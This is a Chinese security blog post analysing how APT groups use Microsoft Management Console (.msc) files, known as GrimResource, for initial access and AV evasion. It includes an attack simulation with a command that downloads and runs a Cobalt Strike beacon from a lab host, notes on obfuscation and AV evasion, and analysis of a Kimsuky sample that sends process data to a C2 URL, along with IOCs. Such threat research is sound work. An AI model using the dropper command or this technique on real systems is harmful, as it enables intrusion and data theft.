freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

威胁探索 | APT在野利用MSC文件的初始访问和逃避方法
2024-06-25 17:31:16

概论

在目前全球关于APT攻击事件已经不在于少数,高级持续威胁(APT)已成为全球威胁实验室关注的焦点。APT组织以其高度隐蔽性和持续性攻击策略,对全球多个行业构成了严重威胁。近期,研究显示APT组织开始利用Microsoft Management Console(MMC)中的MSC文件作为初始访问和逃避检测的手段。本文旨在深入分析APT如何利用MSC文件进行攻击,并探讨其逃避检测的方法。

一、MSC文件-论点

1.MSC文件的利用机制

MSC文件,作为Windows系统中用于存储管理设置的文件,其本身具有执行脚本和命令的能力。APT组织通过精心构造的MSC文件,可以在用户不知情的情况下执行恶意代码。例如,攻击者可能在MSC文件中嵌入PowerShell脚本包括exe等恶意文件类型,当用户打开该文件时,即被激活后可能会通过C2地址释放文件文档,MSC文件内容代码也可能会有建立某些权限维持的恶意脚本,从而实现对系统的完全控制。

2.初始访问的实现

APT组织通常通过社会工程学手段诱导目标用户打开恶意MSC文件。这些文件可能伪装成系统更新或重要通知,通过电子邮件或即时消息传播。一旦用户执行了这些文件,攻击者便获得了对目标系统的初始访问权限。

3.逃避检测的技术

为了逃避安全检测,APT组织采用了多种技术。首先,他们利用加密和混淆技术隐藏恶意代码(宏样本)来规避 ActiveX,使得传统的防病毒软件难以识别。其次,通过定时任务或系统服务的方式,将恶意活动伪装成正常的系统行为。此外,APT还可能利用零日漏洞,进一步提高逃避检测的成功率。

二、Microsoft Management Console (MMC) 接触

Microsoft Management Console (MMC) 是 Microsoft Windows 操作系统的一个组件,它提供了一个界面,允许系统管理员和高级用户配置和监控系统。MMC 最初于 1998 年随 Windows NT 4.0 的 Option Pack 发布,后来与 Windows 2000 及其后续版本捆绑在一起。

MMC 的主要功能是通过称为“管理单元”的组件对象模型 (COM) 组件来托管系统管理工具。这些管理单元提供了对各种系统功能的访问,例如设备管理器、磁盘管理、事件查看器和本地用户和组。此外,MMC 还允许创建自定义工具,这些工具可以用于管理特定的系统任务。

有关MMC漏洞

在2019年6月11日CPR发布了一篇文章是关于:WebView导致XSS和XML解析错误而导致的XXE漏洞文章 【MICROSOFT 管理控制台 (MMC) 漏洞】洞主要集中在以下几个方面:

  1. 跨站脚本 (XSS) 漏洞:攻击者可以通过构造的 .msc 文件,在 MMC 中执行恶意 JavaScript 代码。场景利用:攻击者可以利用 MMC 中的 WebView 组件,将包含 XSS 攻击代码的网页链接嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。

  2. XML 外部实体 (XXE) 漏洞:攻击者可以利用 MMC 中的 XML 解析器漏洞,通过包含 XXE 攻击代码的 XML 文件,访问受害者系统上的敏感信息。场景利用:攻击者可以构造一个包含 XXE 攻击代码的 XML 文件,并将其导入到 MMC 的事件查看器中,从而读取受害者系统上的文件内容,甚至执行远程代码。

  3. ActiveX 控件漏洞:攻击者可以利用 MMC 中的 ActiveX 控件漏洞,将恶意代码注入到受害者的系统中。场景利用:攻击者可以将包含恶意代码的 ActiveX 控件嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。

三、攻击模拟

目前这种技术叫 GrimResource,而且相关的恶意文件还是0检出,根据当前的手段来实现一个攻击模拟!三天前有关生成负载已公开,MSC Dropper Tools,MSC Dropper 是一个 Python 脚本,旨在自动创建带有可自定义有效负载的 MSC(Microsoft 管理控制台)文件,以实现任意执行。

MSC文件配合Cobalt strike

1719299214_667a6c8ec701025474416.png!small?1719299216148

生成payload之后需要起一个服务和MSC Dropper 脚本配置进行生成一个带有马的msc文件!

1719299568_667a6df073be5cecc0772.png!small?1719299570062

┌──(kali㉿kali)-[~/Desktop/MSC_Dropper-main]
└─$ python3 msc_dropper.py template1.msc out.msc "cmd /c curl -O http://192.168.207.133:8000/beacon.exe && beacon.exe"
Successfully replaced placeholder in template1.msc and saved to out.msc.

1719299640_667a6e38bf319721cd875.png!small?1719299642227

运行后原本template1.msc 中的占位符会保存到 out.msc中,整个过程MSC文件成功落地!运行有效性!

1719299813_667a6ee5e418b91d14178.png!small?1719299820751

1719299823_667a6eef088f51132d48c.png!small?1719299825069

1719298647_667a6a57df0eb044356e6.png!small?1719298650012

1719298760_667a6ac8219f3ade1ee65.png!small?1719298762338

通过上面整个有效性的过程验证完毕后,我使用wireshark捕获了大概的一个流程!,在我运行后使用了请求法向我挂载CS马的地址发送一个请求,随后弹出一个命令窗口,CS随之上线。(这个验证时出现一些小问题,如果运行了MSC文件命令窗口有闪退情况CS可能不会上线,这个暂时不知道是什么原因)

1719301352_667a74e8e231d1d2725e1.png!small?1719301355377

而且可以通过加载其它恶意脚本或者读取文件方式进行利用!我们可以看章节二的文件内容。

这里还有一个技巧,我使用MMS管理器直接打开,EXE会直接落地........!

1719306358_667a887620a5dbf3f64a7.png!small?1719306359858

1719306381_667a888d2f810c2bb2995.png!small?1719306383230

1719306413_667a88adea2126829c9a4.png!small?1719306416013

自执行EXE

1719306435_667a88c3688928aa7641b.png!small?1719306437201

四、MSC文件本体内容(免杀)

生成的out.msc本体是借助py脚本中的template1.msc内容

1719303551_667a7d7f14718b54b9630.png!small?1719303555524

  • res://apds.dll/redirect.html?target=部分指定了要加载的资源。javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)部分包含了恶意 JavaScript 代码,它使用 eval() 函数执行来自external.Document.ScopeNamespace.GetRoot().Name的代码。

  • 获取 MMC.exe 上下文中的external.Document.ScopeNamespace.GetRoot().Name属性的值,并执行该属性中包含的代码。 攻击者可以通过这种方式,在 MMC.exe 中执行任意代码,从而实现窃取信息、执行恶意代码等目的。

template1.msc载体加载部分通过py脚本将恶意文件托管地址进行载入

1719303884_667a7ecc9c8400be199fb.png!small?1719303886213

通过py脚本载入的恶意exe地址

1719303949_667a7f0d00268c6567091.png!small?1719303952946

  • xsl.loadXML(...)使用 loadXML()方法加载一个包含恶意 VBScript 代码的 XSL 样式表。

  • XML.transformNode(xsl)使用 transformNode()方法将 XML 文档根据 XSL 样式表进行转换。

  • XSL 样式表中的恶意 VBScript 代码被嵌入到转换后的 XML 文档中,并会被 MMC 执行。

  • 创建一个 WScript.Shell对象,用于执行系统命令。

  • 使用 curl命令从 192.168.207.133:8000 下载名为 beacon.exe的文件。

  • 执行下载的 beacon.exe文件。

混淆手法代码中使用了大量空格和换行符,尤其是 // Console Root 注释后面的代码段。
image.png

1.virustotal本体检测

b98286e81add97cfd59d6dcfc47a9dd1184475ab44301e95c1404a722565f456

1719308184_667a8f98d3dfe35967f5e.png!small?1719308186648

2.火绒本体检测

这个类似于本体加载EXE的模式流程!通常有些可能会检测本体、代码特征、通信地址等,也可能会报红!

1719301796_667a76a462eb6a2b32b35.png!small?1719301798172

因为我是直接在Cobalt strike生成的exe,直接点击运行out.msc文件释放exe,会杀掉我的exe,在本体安然无恙的情况下,可以起到很好的一个伪装,不一定就是要使用这种方式!

1719301895_667a7707b45243e8c556a.png!small?1719301897146

3.天擎本体检测

1719302482_667a79528d247f5384130.png!small?1719302484363

五、APT样本内容分析

目前有一个样本是没有公开的,这里暂时先不放出来,这里拿2010年APT样本来分析。2010年Kimsuky 组织使用该手段针对韩国和日本进行攻击,该组织伪装朝鲜人权公职人员,通过社交软件寻找目标,通过伪装特定重要文件来发送恶意的文件地址,2010年的样本几乎被各各实验室人员标记为风险文件。

1719306007_667a8717cbcf15f172ef2.png!small?1719306009378

不同的是MSC文件是可以通过修改XML内的文件来修改文件图标

1719306064_667a875001ab9b1644a89.png!small?1719306065699

1719306139_667a879b66eabba647ed0.png!small?1719306140844

这个APT样本是读取信息然后像C2地址回传读取的信息,

1719306680_667a89b86132c671d3df3.png!small?1719306684922

  1. 打开 Google 文档:

    • start explorer "https://docs.google.com/document/d/..."命令使用 explorer打开一个 Google 文档链接。

  2. 执行系统命令:

    • tasklist.exe > c:\users\public\temp命令将系统进程列表输出到 c:\users\public\temp文件中。

  3. 检查 curl.exe 的存在:

    • 使用 VBScript 代码检查 c:\windows\system32\curl.exe和 c:\Windows\sysnative\curl.exe文件是否存在。

    • 如果存在,则在结果中添加 "curl1 ok" 或 "curl2 ok"。

  4. 读取 temp 文件的内容:

    • 使用 VBScript 代码读取 c:\users\public\temp文件的内容,并将内容转换为小写字母。

    • 将读取的内容添加到结果中。

  5. 使用 curl 发送 POST 请求:

    • 使用 VBScript 代码创建一个 msxml2.xmlhttp对象,并使用它向两个 URL 发送 POST 请求:

      • http://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php

      • https://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php

    • POST 请求的数据包含了前面收集到的结果信息。

  6. 保存 VBScript 代码:

    • 将收集到的结果信息保存到 c:\users\public\res文件中。

    • 将 c:\users\public\res文件重命名为 c:\users\public\res.vbs

    • 使用 wscript /b c:\users\public\res.vbs命令在后台执行 res.vbs文件。

恶意行为分析:

  • 收集系统信息:该任务收集了系统进程列表,并检查了curl.exe的存在情况,这可能用于了解目标系统的配置和漏洞。

  • 发送数据:该任务向brandwizer.co.in的特定路径发送了收集到的系统信息,这可能用于窃取系统信息或进行其他恶意操作。

  • 执行 VBScript 代码:该任务使用 VBScript 代码,并执行了res.vbs文件,这可能包含其他恶意代码,例如下载恶意软件、窃取数据等。

其它方面与演示的没有什么不同,只是攻击方式载体不一样。

1719307219_667a8bd32cb9d9bbb2a59.png!small?1719307220892

六、结束语

本文分析了一段 MMC 控制台配置文件的代码,揭示了其包含的潜在恶意行为,包括信息收集、发送数据和执行未知代码等。通过对代码的逐行分析,我们了解到恶意软件开发者可能会利用 MMC 文件作为载体来传播恶意软件或窃取敏感信息。

MMC 文件的结构和功能看似简单,但其背后的复杂性和潜在风险不容忽视,对于安全检出问题安全厂商也带来挑战。

七、IOCS

MD5
e86a24d9f3a42bbb8edc0ca1f8b3715c

SHA1
607e42fe2cb9f4be309b5b53cdef2693a704f37f

SHA256
433655572c0f319e576a451d069a29966f9d6b409207a649f286ab34d1c8cfeb

# 渗透测试 # 网络安全 # 系统安全 # apt攻击 # 企业安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录